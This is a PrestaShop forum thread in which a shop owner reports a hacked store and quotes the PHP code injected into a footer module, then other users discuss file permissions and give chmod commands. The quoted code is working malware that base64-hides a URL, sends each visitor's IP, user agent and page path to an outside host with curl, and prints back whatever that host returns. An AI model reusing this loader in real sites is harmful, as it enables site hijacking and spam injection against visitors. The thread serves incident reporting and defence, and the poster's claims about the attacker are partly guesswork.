Jump to content

[Warning] Module Footercustom - Prestacrea - Shop Hacked


guest*

Recommended Posts

One of my Shops 1.4.4.0 with security patch was hacked. The hacker changed all files on the Domain with index.php (also 2 Word Press blogs in there). Changes in Prestashop were index.php, footer.php (code was not changed, but the timestamp was from today hack-time). The only file really changed (unfortunately with CHMOD 777) was /modules/footercustom/footercustom.php.

 

According to log time-stamp Intrusion came with this module.

 

The following code was added:

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
	if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics		  
	$stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
		$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
 {$sResult[0]=" ";
  echo $sResult; // Statistic code end
  }
curl_close($stCurlHandle);
}
}
?>'."\n";

 

After line:

$newXml = '<?xml version=\'1.0\' encoding=\'utf-8\'?>'."\n";

 

Also this line was changed into:

 

$newXml = '<?xml version=\'1.0\' encoding=\'utf-8\'?>

 

 

My shop delivered a white page fronted and on BO I had the error parse-error on module footer custom. I was also unable to disable the module. It was not available on BO. I renamed it on FTP, to get my site working again. I took a look into the date of files in this module. footercustom.php was changed. I renamed this changed file and loaded a saved copy of it to my FTP.

 

All other index.php available under this domain on webspace I too replaced by a saved copy, because all they had a new time-stamp. It would be great if the developer of this module could make a statement on this...

Link to comment
Share on other sites

Regarding this, I have a question to the specialists: Is it really necessary to have in each module/sub-folder an index.php ? For me this is a risk, because on all of them the hacker tried to add code.

 

Which CHMOD should I really set to the folder /modules, sub-folders and files included there ?

Link to comment
Share on other sites

The attack was coming from a Stealthbot of the host-range *-maya*-*, China, Range: 150.26.0.0 - 150.100.255.255 and also from Range 79.137.224.0 - 79.137.239.255, which is the http-attacker. The Stealtbot changed my files to listen on all activities on the Server and also on the User's machines. He was listening to all HTTP requests.

 

So please block all requests on your servers from the nost maya or the IP-Range named, to don't get the same problem.

Link to comment
Share on other sites

Hi,

 

First of all, you have the version 1.5 of the module. This module is now version 2.0, it's important to make updates.

 

Second point : you should not let the files of your shop with CHMOD 777

 

I don't think the problem really comes from the module but I think the hacker took advantage of the CHMOD 777

To me, the modification of the file footercutom.php is just a coincidence

Link to comment
Share on other sites

Which CHMOD should I really set to the folder /modules, sub-folders and files included there ?

 

This is a very dangerous situation because prestashop needs to modify the modules.

An alternative is to have the user who is running apache own these files. But still this doesn't protect you in case your webserver gets hacked.

 

The best option is to completely lock out access by assigning only root user privileges. However, if you do this you will not be able to modify anything from the backoffice.

Link to comment
Share on other sites

@ divine - there are too many controverse discussions here and also in the wiki about the chmod of the directory /modules, it's sub-directories and contained files.

I'm really quite confused...

For me it's a risk to have a php-file with chmod rights of 775. All my index.php had 0640, the bot tried to change all them, without any effect. Only the time-stamp was a new one. Content was the old, so it was not capable to change it. the changed footer.php had the chmod 777 (file was changed by the bot)

 

Update: ok. And where/how do I know that there is an update ? I have for ex. many Modules from presto-changeo. When there is an update, so I receive on BO an warning on the module, that there is an update.

Sorry but I have more than 50 extra modules (buyed and free) installed/running. I cannot check each one/each day, if there is an update or not.

 

I think I've subscribed to your newsletter, also from there is no information coming...

My Version of footer custom is 1.5.

 

@gkontos - Which chmod rights should the folder /modules (sub-folders and files) do have ?

Link to comment
Share on other sites

@gkontos - Which chmod rights should the folder /modules (sub-folders and files) do have ?

 

For maximum security files should be owned by root with a chmod of 644

That setting doesn't allow any changes to be made by the webserver. Of course this would mean that in order to make a change to a module from the backoffice, you would first need to give apache user write access.

 

It sounds a bit complicated but once a shop is well established you don't really need to change the modules that often.

Link to comment
Share on other sites

@gkontos - 644 is not possible. Delivers you a white site only with header and footer, but no other content. I tried all possibilities. The only one really secure is 0750 or 0755. Here all works fine fronted and only owner can make changes.

 

I was referring to files not folders. 750 is a good choice for folders.

Link to comment
Share on other sites

:-(( I've there 176 folders with their sub-folders and files... Too much extra work..

 

 

find . -type f -exec chmod 644 {} \;

find . -type d -exec chmod 750 {} \;

 

f stands for file & d stands for directory. You can always adjust the values!

  • Like 1
Link to comment
Share on other sites

What's problem with Filezilla ? You can assign folder and sub-folders permissions (all of them) and separately only to files ... too much extra work for what ?

Yes. As I wrote I have 176 Modules, their sub-folders, sub-folders from sub-folders and also files. As posted before, if I set all to 644 the modules do not work properly. So I have to set in all 176 modules all files in root and sub-folders and folders manually...

 

This for 4 prestashops...

 

Yes its enough work....

Link to comment
Share on other sites

Hi cd2500,

 

yes it is enought work, but it is almost automatic. I guess that you cannot use filezilla properly, in 1 step you can assign permission to ALL folders and sub-folders and in a second step you can assign permissione to ALL files inside ALL folders and sub-folders. I suppose that you can spend 30 minutes totally to do it in 4 prestashop stores. That it

Link to comment
Share on other sites

  • 2 weeks later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...